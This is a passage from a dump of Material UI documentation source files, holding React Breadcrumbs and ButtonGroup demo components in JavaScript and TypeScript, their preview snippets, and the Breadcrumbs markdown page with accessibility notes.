    "content": "import * as React from 'react';\nimport Breadcrumbs from '@mui/material/Breadcrumbs';\nimport Typography from '@mui/material/Typography';\nimport Link from '@mui/material/Link';\n\nfunction handleClick(event) {\n  event.preventDefault();\n  console.info('You clicked a breadcrumb.');\n}\n\nexport default function CollapsedBreadcrumbs() {\n  return (\n    <div role=\"presentation\" onClick={handleClick}>\n      <Breadcrumbs maxItems={2} aria-label=\"breadcrumb\">\n        <Link underline=\"hover\" color=\"inherit\" href=\"#\">\n          Home\n        </Link>\n        <Link underline=\"hover\" color=\"inherit\" href=\"#\">\n          Catalog\n        </Link>\n        <Link underline=\"hover\" color=\"inherit\" href=\"#\">\n          Accessories\n        </Link>\n        <Link underline=\"hover\" color=\"inherit\" href=\"#\">\n          New Collection\n        </Link>\n        <Typography sx={{ color: 'text.primary' }}>Belts</Typography>\n      </Breadcrumbs>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/breadcrumbs/CollapsedBreadcrumbs.tsx",
    "content": "import * as React from 'react';\nimport Breadcrumbs from '@mui/material/Breadcrumbs';\nimport Typography from '@mui/material/Typography';\nimport Link from '@mui/material/Link';\n\nfunction handleClick(event: React.MouseEvent<HTMLDivElement, MouseEvent>) {\n  event.preventDefault();\n  console.info('You clicked a breadcrumb.');\n}\n\nexport default function CollapsedBreadcrumbs() {\n  return (\n    <div role=\"presentation\" onClick={handleClick}>\n      <Breadcrumbs maxItems={2} aria-label=\"breadcrumb\">\n        <Link underline=\"hover\" color=\"inherit\" href=\"#\">\n          Home\n        </Link>\n        <Link underline=\"hover\" color=\"inherit\" href=\"#\">\n          Catalog\n        </Link>\n        <Link underline=\"hover\" color=\"inherit\" href=\"#\">\n          Accessories\n        </Link>\n        <Link underline=\"hover\" color=\"inherit\" href=\"#\">\n          New Collection\n        </Link>\n        <Typography sx={{ color: 'text.primary' }}>Belts</Typography>\n      </Breadcrumbs>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/breadcrumbs/CollapsedBreadcrumbs.tsx.preview",
    "content": "<Breadcrumbs maxItems={2} aria-label=\"breadcrumb\">\n  <Link underline=\"hover\" color=\"inherit\" href=\"#\">\n    Home\n  </Link>\n  <Link underline=\"hover\" color=\"inherit\" href=\"#\">\n    Catalog\n  </Link>\n  <Link underline=\"hover\" color=\"inherit\" href=\"#\">\n    Accessories\n  </Link>\n  <Link underline=\"hover\" color=\"inherit\" href=\"#\">\n    New Collection\n  </Link>\n  <Typography sx={{ color: 'text.primary' }}>Belts</Typography>\n</Breadcrumbs>"
  },
  {
    "path": "docs/data/material/components/breadcrumbs/CondensedWithMenu.js",
    "content": "import * as React from 'react';\nimport Breadcrumbs from '@mui/material/Breadcrumbs';\nimport Link from '@mui/material/Link';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport IconButton from '@mui/material/IconButton';\nimport MoreHorizIcon from '@mui/icons-material/MoreHoriz';\n\nexport default function CondensedWithMenu() {\n  const [anchorEl, setAnchorEl] = React.useState(null);\n  const open = Boolean(anchorEl);\n\n  const handleClick = (event) => {\n    if (event) {\n      setAnchorEl(event.currentTarget);\n    }\n  };\n\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  return (\n    <React.Fragment>\n      <Menu\n        anchorEl={anchorEl}\n        open={open}\n        onClose={handleClose}\n        aria-labelledby=\"with-menu-demo-breadcrumbs\"\n      >\n        <MenuItem onClick={handleClose}>Breadcrumb 2</MenuItem>\n        <MenuItem onClick={handleClose}>Breadcrumb 3</MenuItem>\n        <MenuItem onClick={handleClose}>Breadcrumb 4</MenuItem>\n      </Menu>\n      <Breadcrumbs aria-label=\"breadcrumbs\">\n        <Link color=\"primary\" href=\"#condensed-with-menu\">\n          Breadcrumb 1\n        </Link>\n        <IconButton color=\"primary\" size=\"small\" onClick={handleClick}>\n          <MoreHorizIcon />\n        </IconButton>\n        <Link color=\"primary\" href=\"#condensed-with-menu\">\n          Breadcrumb 5\n        </Link>\n        <Link color=\"primary\" href=\"#condensed-with-menu\">\n          Breadcrumb 6\n        </Link>\n      </Breadcrumbs>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/breadcrumbs/CondensedWithMenu.tsx",
    "content": "import * as React from 'react';\nimport Breadcrumbs from '@mui/material/Breadcrumbs';\nimport Link from '@mui/material/Link';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport IconButton from '@mui/material/IconButton';\nimport MoreHorizIcon from '@mui/icons-material/MoreHoriz';\n\nexport default function CondensedWithMenu() {\n  const [anchorEl, setAnchorEl] = React.useState<HTMLButtonElement | null>(null);\n  const open = Boolean(anchorEl);\n\n  const handleClick = (event: React.MouseEvent<HTMLButtonElement> | null) => {\n    if (event) {\n      setAnchorEl(event.currentTarget);\n    }\n  };\n\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  return (\n    <React.Fragment>\n      <Menu\n        anchorEl={anchorEl}\n        open={open}\n        onClose={handleClose}\n        aria-labelledby=\"with-menu-demo-breadcrumbs\"\n      >\n        <MenuItem onClick={handleClose}>Breadcrumb 2</MenuItem>\n        <MenuItem onClick={handleClose}>Breadcrumb 3</MenuItem>\n        <MenuItem onClick={handleClose}>Breadcrumb 4</MenuItem>\n      </Menu>\n      <Breadcrumbs aria-label=\"breadcrumbs\">\n        <Link color=\"primary\" href=\"#condensed-with-menu\">\n          Breadcrumb 1\n        </Link>\n        <IconButton color=\"primary\" size=\"small\" onClick={handleClick}>\n          <MoreHorizIcon />\n        </IconButton>\n        <Link color=\"primary\" href=\"#condensed-with-menu\">\n          Breadcrumb 5\n        </Link>\n        <Link color=\"primary\" href=\"#condensed-with-menu\">\n          Breadcrumb 6\n        </Link>\n      </Breadcrumbs>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/breadcrumbs/CustomSeparator.js",
    "content": "import * as React from 'react';\nimport Breadcrumbs from '@mui/material/Breadcrumbs';\nimport Typography from '@mui/material/Typography';\nimport Link from '@mui/material/Link';\nimport Stack from '@mui/material/Stack';\nimport NavigateNextIcon from '@mui/icons-material/NavigateNext';\n\nfunction handleClick(event) {\n  event.preventDefault();\n  console.info('You clicked a breadcrumb.');\n}\n\nexport default function CustomSeparator() {\n  const breadcrumbs = [\n    <Link underline=\"hover\" key=\"1\" color=\"inherit\" href=\"/\" onClick={handleClick}>\n      MUI\n    </Link>,\n    <Link\n      underline=\"hover\"\n      key=\"2\"\n      color=\"inherit\"\n      href=\"/material-ui/getting-started/installation/\"\n      onClick={handleClick}\n    >\n      Core\n    </Link>,\n    <Typography key=\"3\" sx={{ color: 'text.primary' }}>\n      Breadcrumb\n    </Typography>,\n  ];\n\n  return (\n    <Stack spacing={2}>\n      <Breadcrumbs separator=\"›\" aria-label=\"breadcrumb\">\n        {breadcrumbs}\n      </Breadcrumbs>\n      <Breadcrumbs separator=\"-\" aria-label=\"breadcrumb\">\n        {breadcrumbs}\n      </Breadcrumbs>\n      <Breadcrumbs\n        separator={<NavigateNextIcon fontSize=\"small\" />}\n        aria-label=\"breadcrumb\"\n      >\n        {breadcrumbs}\n      </Breadcrumbs>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/breadcrumbs/CustomSeparator.tsx",
    "content": "import * as React from 'react';\nimport Breadcrumbs from '@mui/material/Breadcrumbs';\nimport Typography from '@mui/material/Typography';\nimport Link from '@mui/material/Link';\nimport Stack from '@mui/material/Stack';\nimport NavigateNextIcon from '@mui/icons-material/NavigateNext';\n\nfunction handleClick(event: React.MouseEvent<HTMLAnchorElement, MouseEvent>) {\n  event.preventDefault();\n  console.info('You clicked a breadcrumb.');\n}\n\nexport default function CustomSeparator() {\n  const breadcrumbs = [\n    <Link underline=\"hover\" key=\"1\" color=\"inherit\" href=\"/\" onClick={handleClick}>\n      MUI\n    </Link>,\n    <Link\n      underline=\"hover\"\n      key=\"2\"\n      color=\"inherit\"\n      href=\"/material-ui/getting-started/installation/\"\n      onClick={handleClick}\n    >\n      Core\n    </Link>,\n    <Typography key=\"3\" sx={{ color: 'text.primary' }}>\n      Breadcrumb\n    </Typography>,\n  ];\n\n  return (\n    <Stack spacing={2}>\n      <Breadcrumbs separator=\"›\" aria-label=\"breadcrumb\">\n        {breadcrumbs}\n      </Breadcrumbs>\n      <Breadcrumbs separator=\"-\" aria-label=\"breadcrumb\">\n        {breadcrumbs}\n      </Breadcrumbs>\n      <Breadcrumbs\n        separator={<NavigateNextIcon fontSize=\"small\" />}\n        aria-label=\"breadcrumb\"\n      >\n        {breadcrumbs}\n      </Breadcrumbs>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/breadcrumbs/CustomSeparator.tsx.preview",
    "content": "<Breadcrumbs separator=\"›\" aria-label=\"breadcrumb\">\n  {breadcrumbs}\n</Breadcrumbs>\n<Breadcrumbs separator=\"-\" aria-label=\"breadcrumb\">\n  {breadcrumbs}\n</Breadcrumbs>\n<Breadcrumbs\n  separator={<NavigateNextIcon fontSize=\"small\" />}\n  aria-label=\"breadcrumb\"\n>\n  {breadcrumbs}\n</Breadcrumbs>"
  },
  {
    "path": "docs/data/material/components/breadcrumbs/CustomizedBreadcrumbs.js",
    "content": "import * as React from 'react';\nimport { emphasize, styled } from '@mui/material/styles';\nimport Breadcrumbs from '@mui/material/Breadcrumbs';\nimport Chip from '@mui/material/Chip';\nimport HomeIcon from '@mui/icons-material/Home';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\n\nconst StyledBreadcrumb = styled(Chip)(({ theme }) => {\n  return {\n    backgroundColor: theme.palette.grey[100],\n    height: theme.spacing(3),\n    color: (theme.vars || theme).palette.text.primary,\n    fontWeight: theme.typography.fontWeightRegular,\n    '&:hover, &:focus': {\n      backgroundColor: emphasize(theme.palette.grey[100], 0.06),\n      ...theme.applyStyles('dark', {\n        backgroundColor: emphasize(theme.palette.grey[800], 0.06),\n      }),\n    },\n    '&:active': {\n      boxShadow: theme.shadows[1],\n      backgroundColor: emphasize(theme.palette.grey[100], 0.12),\n      ...theme.applyStyles('dark', {\n        backgroundColor: emphasize(theme.palette.grey[800], 0.12),\n      }),\n    },\n    ...theme.applyStyles('dark', {\n      backgroundColor: theme.palette.grey[800],\n    }),\n  };\n}); // TypeScript only: need a type cast here because https://github.com/Microsoft/TypeScript/issues/26591\n\nfunction handleClick(event) {\n  event.preventDefault();\n  console.info('You clicked a breadcrumb.');\n}\n\nexport default function CustomizedBreadcrumbs() {\n  return (\n    <div role=\"presentation\" onClick={handleClick}>\n      <Breadcrumbs aria-label=\"breadcrumb\">\n        <StyledBreadcrumb\n          component=\"a\"\n          href=\"#\"\n          label=\"Home\"\n          icon={<HomeIcon fontSize=\"small\" />}\n        />\n        <StyledBreadcrumb component=\"a\" href=\"#\" label=\"Catalog\" />\n        <StyledBreadcrumb\n          label=\"Accessories\"\n          deleteIcon={<ExpandMoreIcon />}\n          onDelete={handleClick}\n        />\n      </Breadcrumbs>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/breadcrumbs/CustomizedBreadcrumbs.tsx",
    "content": "import * as React from 'react';\nimport { emphasize, styled } from '@mui/material/styles';\nimport Breadcrumbs from '@mui/material/Breadcrumbs';\nimport Chip from '@mui/material/Chip';\nimport HomeIcon from '@mui/icons-material/Home';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\n\nconst StyledBreadcrumb = styled(Chip)(({ theme }) => {\n  return {\n    backgroundColor: theme.palette.grey[100],\n    height: theme.spacing(3),\n    color: (theme.vars || theme).palette.text.primary,\n    fontWeight: theme.typography.fontWeightRegular,\n    '&:hover, &:focus': {\n      backgroundColor: emphasize(theme.palette.grey[100], 0.06),\n      ...theme.applyStyles('dark', {\n        backgroundColor: emphasize(theme.palette.grey[800], 0.06),\n      }),\n    },\n    '&:active': {\n      boxShadow: theme.shadows[1],\n      backgroundColor: emphasize(theme.palette.grey[100], 0.12),\n      ...theme.applyStyles('dark', {\n        backgroundColor: emphasize(theme.palette.grey[800], 0.12),\n      }),\n    },\n    ...theme.applyStyles('dark', {\n      backgroundColor: theme.palette.grey[800],\n    }),\n  };\n}) as typeof Chip; // TypeScript only: need a type cast here because https://github.com/Microsoft/TypeScript/issues/26591\n\nfunction handleClick(event: React.MouseEvent<Element, MouseEvent>) {\n  event.preventDefault();\n  console.info('You clicked a breadcrumb.');\n}\n\nexport default function CustomizedBreadcrumbs() {\n  return (\n    <div role=\"presentation\" onClick={handleClick}>\n      <Breadcrumbs aria-label=\"breadcrumb\">\n        <StyledBreadcrumb\n          component=\"a\"\n          href=\"#\"\n          label=\"Home\"\n          icon={<HomeIcon fontSize=\"small\" />}\n        />\n        <StyledBreadcrumb component=\"a\" href=\"#\" label=\"Catalog\" />\n        <StyledBreadcrumb\n          label=\"Accessories\"\n          deleteIcon={<ExpandMoreIcon />}\n          onDelete={handleClick}\n        />\n      </Breadcrumbs>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/breadcrumbs/CustomizedBreadcrumbs.tsx.preview",
    "content": "<Breadcrumbs aria-label=\"breadcrumb\">\n  <StyledBreadcrumb\n    component=\"a\"\n    href=\"#\"\n    label=\"Home\"\n    icon={<HomeIcon fontSize=\"small\" />}\n  />\n  <StyledBreadcrumb component=\"a\" href=\"#\" label=\"Catalog\" />\n  <StyledBreadcrumb\n    label=\"Accessories\"\n    deleteIcon={<ExpandMoreIcon />}\n    onDelete={handleClick}\n  />\n</Breadcrumbs>"
  },
  {
    "path": "docs/data/material/components/breadcrumbs/IconBreadcrumbs.js",
    "content": "import * as React from 'react';\nimport Typography from '@mui/material/Typography';\nimport Breadcrumbs from '@mui/material/Breadcrumbs';\nimport Link from '@mui/material/Link';\nimport HomeIcon from '@mui/icons-material/Home';\nimport WhatshotIcon from '@mui/icons-material/Whatshot';\nimport GrainIcon from '@mui/icons-material/Grain';\n\nfunction handleClick(event) {\n  event.preventDefault();\n  console.info('You clicked a breadcrumb.');\n}\n\nexport default function IconBreadcrumbs() {\n  return (\n    <div role=\"presentation\" onClick={handleClick}>\n      <Breadcrumbs aria-label=\"breadcrumb\">\n        <Link\n          underline=\"hover\"\n          sx={{ display: 'flex', alignItems: 'center' }}\n          color=\"inherit\"\n          href=\"/\"\n        >\n          <HomeIcon sx={{ mr: 0.5 }} fontSize=\"inherit\" />\n          MUI\n        </Link>\n        <Link\n          underline=\"hover\"\n          sx={{ display: 'flex', alignItems: 'center' }}\n          color=\"inherit\"\n          href=\"/material-ui/getting-started/installation/\"\n        >\n          <WhatshotIcon sx={{ mr: 0.5 }} fontSize=\"inherit\" />\n          Core\n        </Link>\n        <Typography\n          sx={{ color: 'text.primary', display: 'flex', alignItems: 'center' }}\n        >\n          <GrainIcon sx={{ mr: 0.5 }} fontSize=\"inherit\" />\n          Breadcrumb\n        </Typography>\n      </Breadcrumbs>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/breadcrumbs/IconBreadcrumbs.tsx",
    "content": "import * as React from 'react';\nimport Typography from '@mui/material/Typography';\nimport Breadcrumbs from '@mui/material/Breadcrumbs';\nimport Link from '@mui/material/Link';\nimport HomeIcon from '@mui/icons-material/Home';\nimport WhatshotIcon from '@mui/icons-material/Whatshot';\nimport GrainIcon from '@mui/icons-material/Grain';\n\nfunction handleClick(event: React.MouseEvent<HTMLDivElement, MouseEvent>) {\n  event.preventDefault();\n  console.info('You clicked a breadcrumb.');\n}\n\nexport default function IconBreadcrumbs() {\n  return (\n    <div role=\"presentation\" onClick={handleClick}>\n      <Breadcrumbs aria-label=\"breadcrumb\">\n        <Link\n          underline=\"hover\"\n          sx={{ display: 'flex', alignItems: 'center' }}\n          color=\"inherit\"\n          href=\"/\"\n        >\n          <HomeIcon sx={{ mr: 0.5 }} fontSize=\"inherit\" />\n          MUI\n        </Link>\n        <Link\n          underline=\"hover\"\n          sx={{ display: 'flex', alignItems: 'center' }}\n          color=\"inherit\"\n          href=\"/material-ui/getting-started/installation/\"\n        >\n          <WhatshotIcon sx={{ mr: 0.5 }} fontSize=\"inherit\" />\n          Core\n        </Link>\n        <Typography\n          sx={{ color: 'text.primary', display: 'flex', alignItems: 'center' }}\n        >\n          <GrainIcon sx={{ mr: 0.5 }} fontSize=\"inherit\" />\n          Breadcrumb\n        </Typography>\n      </Breadcrumbs>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/breadcrumbs/RouterBreadcrumbs.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Box from '@mui/material/Box';\nimport List from '@mui/material/List';\nimport Link from '@mui/material/Link';\n\nimport ListItemButton from '@mui/material/ListItemButton';\nimport Collapse from '@mui/material/Collapse';\nimport ListItemText from '@mui/material/ListItemText';\nimport Typography from '@mui/material/Typography';\nimport ExpandLess from '@mui/icons-material/ExpandLess';\nimport ExpandMore from '@mui/icons-material/ExpandMore';\nimport Breadcrumbs from '@mui/material/Breadcrumbs';\nimport {\n  Link as RouterLink,\n  Route,\n  Routes,\n  MemoryRouter,\n  useLocation,\n} from 'react-router';\n\nconst breadcrumbNameMap = {\n  '/inbox': 'Inbox',\n  '/inbox/important': 'Important',\n  '/trash': 'Trash',\n  '/spam': 'Spam',\n  '/drafts': 'Drafts',\n};\n\nfunction ListItemLink(props) {\n  const { to, open, ...other } = props;\n  const primary = breadcrumbNameMap[to];\n\n  let icon = null;\n  if (open != null) {\n    icon = open ? <ExpandLess /> : <ExpandMore />;\n  }\n\n  return (\n    <li>\n      <ListItemButton component={RouterLink} to={to} {...other}>\n        <ListItemText primary={primary} />\n        {icon}\n      </ListItemButton>\n    </li>\n  );\n}\n\nListItemLink.propTypes = {\n  open: PropTypes.bool,\n  to: PropTypes.string.isRequired,\n};\n\nfunction LinkRouter(props) {\n  return <Link {...props} component={RouterLink} />;\n}\n\nfunction Page() {\n  const location = useLocation();\n  const pathnames = location.pathname.split('/').filter((x) => x);\n\n  return (\n    <Breadcrumbs aria-label=\"breadcrumb\">\n      <LinkRouter underline=\"hover\" color=\"inherit\" to=\"/\">\n        Home\n      </LinkRouter>\n      {pathnames.map((value, index) => {\n        const last = index === pathnames.length - 1;\n        const to = `/${pathnames.slice(0, index + 1).join('/')}`;\n\n        return last ? (\n          <Typography key={to} sx={{ color: 'text.primary' }}>\n            {breadcrumbNameMap[to]}\n          </Typography>\n        ) : (\n          <LinkRouter underline=\"hover\" color=\"inherit\" to={to} key={to}>\n            {breadcrumbNameMap[to]}\n          </LinkRouter>\n        );\n      })}\n    </Breadcrumbs>\n  );\n}\n\nexport default function RouterBreadcrumbs() {\n  const [open, setOpen] = React.useState(true);\n\n  const handleClick = () => {\n    setOpen((prevOpen) => !prevOpen);\n  };\n\n  return (\n    <MemoryRouter initialEntries={['/inbox']} initialIndex={0}>\n      <Box sx={{ display: 'flex', flexDirection: 'column', width: 360 }}>\n        <Routes>\n          <Route path=\"*\" element={<Page />} />\n        </Routes>\n        <Box\n          sx={{ bgcolor: 'background.paper', mt: 1 }}\n          component=\"nav\"\n          aria-label=\"mailbox folders\"\n        >\n          <List>\n            <ListItemLink to=\"/inbox\" open={open} onClick={handleClick} />\n            <Collapse component=\"li\" in={open} timeout=\"auto\" unmountOnExit>\n              <List disablePadding>\n                <ListItemLink sx={{ pl: 4 }} to=\"/inbox/important\" />\n              </List>\n            </Collapse>\n            <ListItemLink to=\"/trash\" />\n            <ListItemLink to=\"/spam\" />\n          </List>\n        </Box>\n      </Box>\n    </MemoryRouter>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/breadcrumbs/RouterBreadcrumbs.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport List from '@mui/material/List';\nimport Link, { LinkProps } from '@mui/material/Link';\nimport { ListItemProps } from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport Collapse from '@mui/material/Collapse';\nimport ListItemText from '@mui/material/ListItemText';\nimport Typography from '@mui/material/Typography';\nimport ExpandLess from '@mui/icons-material/ExpandLess';\nimport ExpandMore from '@mui/icons-material/ExpandMore';\nimport Breadcrumbs from '@mui/material/Breadcrumbs';\nimport {\n  Link as RouterLink,\n  Route,\n  Routes,\n  MemoryRouter,\n  useLocation,\n} from 'react-router';\n\ninterface ListItemLinkProps extends ListItemProps {\n  to: string;\n  open?: boolean;\n}\n\nconst breadcrumbNameMap: { [key: string]: string } = {\n  '/inbox': 'Inbox',\n  '/inbox/important': 'Important',\n  '/trash': 'Trash',\n  '/spam': 'Spam',\n  '/drafts': 'Drafts',\n};\n\nfunction ListItemLink(props: ListItemLinkProps) {\n  const { to, open, ...other } = props;\n  const primary = breadcrumbNameMap[to];\n\n  let icon = null;\n  if (open != null) {\n    icon = open ? <ExpandLess /> : <ExpandMore />;\n  }\n\n  return (\n    <li>\n      <ListItemButton component={RouterLink as any} to={to} {...other}>\n        <ListItemText primary={primary} />\n        {icon}\n      </ListItemButton>\n    </li>\n  );\n}\n\ninterface LinkRouterProps extends LinkProps {\n  to: string;\n  replace?: boolean;\n}\n\nfunction LinkRouter(props: LinkRouterProps) {\n  return <Link {...props} component={RouterLink as any} />;\n}\n\nfunction Page() {\n  const location = useLocation();\n  const pathnames = location.pathname.split('/').filter((x) => x);\n\n  return (\n    <Breadcrumbs aria-label=\"breadcrumb\">\n      <LinkRouter underline=\"hover\" color=\"inherit\" to=\"/\">\n        Home\n      </LinkRouter>\n      {pathnames.map((value, index) => {\n        const last = index === pathnames.length - 1;\n        const to = `/${pathnames.slice(0, index + 1).join('/')}`;\n\n        return last ? (\n          <Typography key={to} sx={{ color: 'text.primary' }}>\n            {breadcrumbNameMap[to]}\n          </Typography>\n        ) : (\n          <LinkRouter underline=\"hover\" color=\"inherit\" to={to} key={to}>\n            {breadcrumbNameMap[to]}\n          </LinkRouter>\n        );\n      })}\n    </Breadcrumbs>\n  );\n}\n\nexport default function RouterBreadcrumbs() {\n  const [open, setOpen] = React.useState(true);\n\n  const handleClick = () => {\n    setOpen((prevOpen) => !prevOpen);\n  };\n\n  return (\n    <MemoryRouter initialEntries={['/inbox']} initialIndex={0}>\n      <Box sx={{ display: 'flex', flexDirection: 'column', width: 360 }}>\n        <Routes>\n          <Route path=\"*\" element={<Page />} />\n        </Routes>\n        <Box\n          sx={{ bgcolor: 'background.paper', mt: 1 }}\n          component=\"nav\"\n          aria-label=\"mailbox folders\"\n        >\n          <List>\n            <ListItemLink to=\"/inbox\" open={open} onClick={handleClick} />\n            <Collapse component=\"li\" in={open} timeout=\"auto\" unmountOnExit>\n              <List disablePadding>\n                <ListItemLink sx={{ pl: 4 }} to=\"/inbox/important\" />\n              </List>\n            </Collapse>\n            <ListItemLink to=\"/trash\" />\n            <ListItemLink to=\"/spam\" />\n          </List>\n        </Box>\n      </Box>\n    </MemoryRouter>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/breadcrumbs/breadcrumbs.md",
    "content": "---\nproductId: material-ui\ntitle: React Breadcrumbs component\ncomponents: Breadcrumbs, Link, Typography\ngithubLabel: 'scope: breadcrumbs'\nwaiAria: https://www.w3.org/WAI/ARIA/apg/patterns/breadcrumb/\ngithubSource: packages/mui-material/src/Breadcrumbs\n---\n\n# Breadcrumbs\n\n<p class=\"description\">A breadcrumbs is a list of links that help visualize a page's location within a site's hierarchical structure, it allows navigation up to any of the ancestors.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Basic breadcrumbs\n\n{{\"demo\": \"BasicBreadcrumbs.js\"}}\n\n## Active last breadcrumb\n\nKeep the last breadcrumb interactive.\n\n{{\"demo\": \"ActiveLastBreadcrumb.js\"}}\n\n## Custom separator\n\nIn the following examples, we are using two string separators and an SVG icon.\n\n{{\"demo\": \"CustomSeparator.js\"}}\n\n## Breadcrumbs with icons\n\n{{\"demo\": \"IconBreadcrumbs.js\"}}\n\n## Collapsed breadcrumbs\n\n{{\"demo\": \"CollapsedBreadcrumbs.js\"}}\n\n## Condensed with menu\n\nAs an alternative, consider adding a Menu component to display the condensed links in a dropdown list:\n\n{{\"demo\": \"CondensedWithMenu.js\"}}\n\n## Customization\n\nHere is an example of customizing the component.\nYou can learn more about this in the [overrides documentation page](/material-ui/customization/how-to-customize/).\n\n{{\"demo\": \"CustomizedBreadcrumbs.js\"}}\n\n## Integration with react-router\n\n{{\"demo\": \"RouterBreadcrumbs.js\", \"bg\": true}}\n\n## Accessibility\n\n(WAI-ARIA: https://www.w3.org/WAI/ARIA/apg/patterns/breadcrumb/)\n\nBe sure to add a `aria-label` description on the `Breadcrumbs` component.\n\nThe accessibility of this component relies on:\n\n- The set of links is structured using an ordered list (`<ol>` element).\n- To prevent screen reader announcement of the visual separators between links, they are hidden with `aria-hidden`.\n- A nav element labeled with `aria-label` identifies the structure as a breadcrumb trail and makes it a navigation landmark so that it is easy to locate.\n"
  },
  {
    "path": "docs/data/material/components/button-group/BasicButtonGroup.js",
    "content": "import Button from '@mui/material/Button';\nimport ButtonGroup from '@mui/material/ButtonGroup';\n\nexport default function BasicButtonGroup() {\n  return (\n    <ButtonGroup variant=\"contained\" aria-label=\"Basic button group\">\n      <Button>One</Button>\n      <Button>Two</Button>\n      <Button>Three</Button>\n    </ButtonGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/button-group/BasicButtonGroup.tsx",
    "content": "import Button from '@mui/material/Button';\nimport ButtonGroup from '@mui/material/ButtonGroup';\n\nexport default function BasicButtonGroup() {\n  return (\n    <ButtonGroup variant=\"contained\" aria-label=\"Basic button group\">\n      <Button>One</Button>\n      <Button>Two</Button>\n      <Button>Three</Button>\n    </ButtonGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/button-group/BasicButtonGroup.tsx.preview",
    "content": "<ButtonGroup variant=\"contained\" aria-label=\"Basic button group\">\n  <Button>One</Button>\n  <Button>Two</Button>\n  <Button>Three</Button>\n</ButtonGroup>"
  },
  {
    "path": "docs/data/material/components/button-group/DisableElevation.js",
    "content": "import ButtonGroup from '@mui/material/ButtonGroup';\nimport Button from '@mui/material/Button';\n\nexport default function DisableElevation() {\n  return (\n    <ButtonGroup\n      disableElevation\n      variant=\"contained\"\n      aria-label=\"Disabled button group\"\n    >\n      <Button>One</Button>\n      <Button>Two</Button>\n    </ButtonGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/button-group/DisableElevation.tsx",
    "content": "import ButtonGroup from '@mui/material/ButtonGroup';\nimport Button from '@mui/material/Button';\n\nexport default function DisableElevation() {\n  return (\n    <ButtonGroup\n      disableElevation\n      variant=\"contained\"\n      aria-label=\"Disabled button group\"\n    >\n      <Button>One</Button>\n      <Button>Two</Button>\n    </ButtonGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/button-group/DisableElevation.tsx.preview",
    "content": "<ButtonGroup\n  disableElevation\n  variant=\"contained\"\n  aria-label=\"Disabled button group\"\n>\n  <Button>One</Button>\n  <Button>Two</Button>\n</ButtonGroup>"
  },
  {
    "path": "docs/data/material/components/button-group/GroupOrientation.js",
    "content": "import Button from '@mui/material/Button';\nimport ButtonGroup from '@mui/material/ButtonGroup';\nimport Box from '@mui/material/Box';\n\nconst buttons = [\n  <Button key=\"one\">One</Button>,\n  <Button key=\"two\">Two</Button>,\n  <Button key=\"three\">Three</Button>,\n];\n\nexport default function GroupOrientation() {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        '& > *': {\n          m: 1,\n        },\n      }}\n    >\n      <ButtonGroup orientation=\"vertical\" aria-label=\"Vertical button group\">\n        {buttons}\n      </ButtonGroup>\n      <ButtonGroup\n        orientation=\"vertical\"\n        aria-label=\"Vertical button group\"\n        variant=\"contained\"\n      >\n        {buttons}\n      </ButtonGroup>\n      <ButtonGroup\n        orientation=\"vertical\"\n        aria-label=\"Vertical button group\"\n        variant=\"text\"\n      >\n        {buttons}\n      </ButtonGroup>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/button-group/GroupOrientation.tsx",
    "content": "import Button from '@mui/material/Button';\nimport ButtonGroup from '@mui/material/ButtonGroup';\nimport Box from '@mui/material/Box';\n\nconst buttons = [\n  <Button key=\"one\">One</Button>,\n  <Button key=\"two\">Two</Button>,\n  <Button key=\"three\">Three</Button>,\n];\n\nexport default function GroupOrientation() {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        '& > *': {\n          m: 1,\n        },\n      }}\n    >\n      <ButtonGroup orientation=\"vertical\" aria-label=\"Vertical button group\">\n        {buttons}\n      </ButtonGroup>\n      <ButtonGroup\n        orientation=\"vertical\"\n        aria-label=\"Vertical button group\"\n        variant=\"contained\"\n      >\n        {buttons}\n      </ButtonGroup>\n      <ButtonGroup\n        orientation=\"vertical\"\n        aria-label=\"Vertical button group\"\n        variant=\"text\"\n      >\n        {buttons}\n      </ButtonGroup>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/button-group/GroupSizesColors.js",
